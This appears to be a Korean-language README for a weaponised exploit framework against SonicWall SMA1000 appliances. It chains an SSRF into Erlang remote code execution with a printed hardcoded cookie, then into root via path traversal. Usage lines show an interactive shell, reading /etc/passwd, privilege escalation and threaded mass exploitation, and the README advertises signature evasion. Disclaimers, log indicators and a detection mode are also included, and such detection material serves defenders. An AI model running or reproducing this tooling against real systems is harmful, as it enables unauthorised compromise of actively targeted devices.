
SonicWall SMA1000에서 SSRF(CVE-2026-15409)를 Erlang RCE 및 루트 권한 상승(CVE-2026-15410)으로 연계하는 다중 익스플로잇 프레임워크. 대화형 셸, 배치 스캐닝, 파일 작업, 그리고 승인된 침투 테스트를 위한 안전한 탐지 모드를 제공합니다.

익스플로잇 프레임워크 및 안전한 탐지 도구
승인된 보안 테스트 전용입니다.
이 도구는 교육 및 승인된 침투 테스트 목적으로만 제공됩니다.
저자와 기여자는 이 소프트웨어로 인한 오용 또는 손해에 대해 책임을 지지 않습니다. 사용자는 테스트 전에 대상 소유자의 명시적인 서면 허가를 받았는지 확인할 전적인 책임이 있습니다. 컴퓨터 시스템에 대한 무단 접근은 CFAA(Computer Fraud and Abuse Act) 및 전 세계의 유사한 법률에 따라 불법입니다.
이 소프트웨어를 사용함으로써 귀하는 다음 사항에 동의합니다:
⚠️ 경고: 이 취약점은 실제 환경에서 적극적으로 악용되고 있습니다. 무단 사용은 심각한 법적 결과를 초래할 수 있습니다.
CVE-2026-15409는 SonicWall SMA1000 어플라이언스 Work Place 인터페이스에서 발견된 치명적인 인증되지 않은 SSRF(Server-Side Request Forgery) 취약점입니다.
작동 방식:
wsproxy 엔드포인트를 통해 터널링합니다.os:cmd/1 호출을 통해 원격 코드 실행(RCE)이 달성됩니다.주요 사실:
exploit.py)완전한 무기화된 익스플로잇은 CVE-2026-15409와 CVE-2026-15410을 체인으로 연결하여 root 수준의 침해를 달성합니다.
pip (requests 라이브러리용)pip install -r requirements.txt
# Interactive shell on target
python exploit.py -u 192.168.1.100
# Execute a single command
python exploit.py -u 192.168.1.100 --exec "id && whoami"
# Read a file
python exploit.py -u 192.168.1.100 --read-file /etc/passwd
# Enable SSRF detection before exploitation
python exploit.py -u 192.168.1.100 --detect
# Attempt root privesc
python exploit.py -u 192.168.1.100 --privesc
# Mass exploit from file (50 threads)
python exploit.py -l targets.txt -m 50 --exec "uname -a"
# Custom port and path
python exploit.py -u 10.0.0.5 -p 8443 --path /workplace
# Pipe mode (read command from stdin)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100
# Single target scan
python checker.py https://192.168.1.100
# Custom port and path
python checker.py 192.168.1.100 --port 8443 --path /workplace
# Mass scan from file
python checker.py --list targets.txt
⚠️ 중요: 이러한 취약점은 SonicWall 방화벽(SSL-VPN) 또는 SMA 100 시리즈에는 영향을 미치지 않습니다.
포트 443의 wsproxy 엔드포인트는 -3389로 시작하는 bmID 매개변수와 host:port 지정을 허용합니다. host=127.0.0.1 및 port=1050을 지정하면 공격자는 내부 Erlang 분산 서비스로 터널링할 수 있습니다.
Erlang 노드는 하드코딩된 기본 쿠키 10ecad5b446e86864832904cd439b6b70262를 사용합니다. 이를 통해 원격 인증과 임의의 os:cmd/1 호출 실행이 가능합니다.
인증 후 익스플로잇은 /var/tmp/에 셸 스크립트를 작성하고 경로 탐색(../../../../var/tmp/script.sh)과 함께 AMC remove_hotfix XML-RPC 엔드포인트를 트리거하여 스크립트를 root로 실행합니다.
SonicWall은 다음을 확인할 것을 권장합니다:
/__api__/login 또는 /__api__/logout에 대한 extraweb_access.log (200 상태)/wsproxy에 대한 extraweb_access.log (101 상태)ctrl-service.log/__api__/login 또는 /__api__/logout에 대한 라우트를 포함하는 /var/lib/unit/conf.json| 기능 | 설명 |
|---|
| 🚀 SSRF → Erlang RPC | wsproxy를 통해 자동으로 터널링하여 내부 Erlang 노드에 도달합니다. |
| 💻 원격 코드 실행 | os:cmd/1을 통해 임의의 OS 명령을 실행합니다. |
| 🔐 대화형 셸 | privesc 및 download 명령을 지원하는 라이브 셸을 생성합니다. |
| 👑 Root 권한 상승 | CVE-2026-15410을 활용하여 AMC 경로 탐색을 통해 root로 권한을 상승시킵니다. |
| 📁 파일 작업 | 대상 시스템에서 파일을 읽고 씁니다. |
| 🌐 배치 스캐닝 | 스레딩(-l 플래그)으로 여러 대상을 대량 익스플로잇합니다. |
| 🎯 SSRF 탐지 | 안전한 취약점 검증을 위한 선택적 --detect 플래그. |
| ⚙️ 사용자 지정 가능 | WebSocket URL, Origin, User-Agent, Cookie 등을 재정의할 수 있습니다. |
| 🧩 추가 종속성 없음 | Python 표준 라이브러리만 사용합니다(탐지용 선택적 requests 제외). |
| 🔌 Raw WebSocket 구현 | 외부 WebSocket 라이브러리 없음 — 커스텀 소켓 수준 핸드셰이크가 라이브러리 특유의 시그니처 지문을 피하여 더 나은 OPSEC을 제공합니다. |
| 제품 | 취약한 버전 | 수정 버전 |
|---|
| SMA 6210 | 12.4.3-03245, 12.4.3-03387, 12.4.3-03434 12.5.0-02283, 12.5.0-02624, 12.5.0-02800 | 12.4.3-03453+ 12.5.0-02835+ |
| SMA 7210 | 위와 동일 | 위와 동일 |
| SMA 8200v | 위와 동일 | 위와 동일 |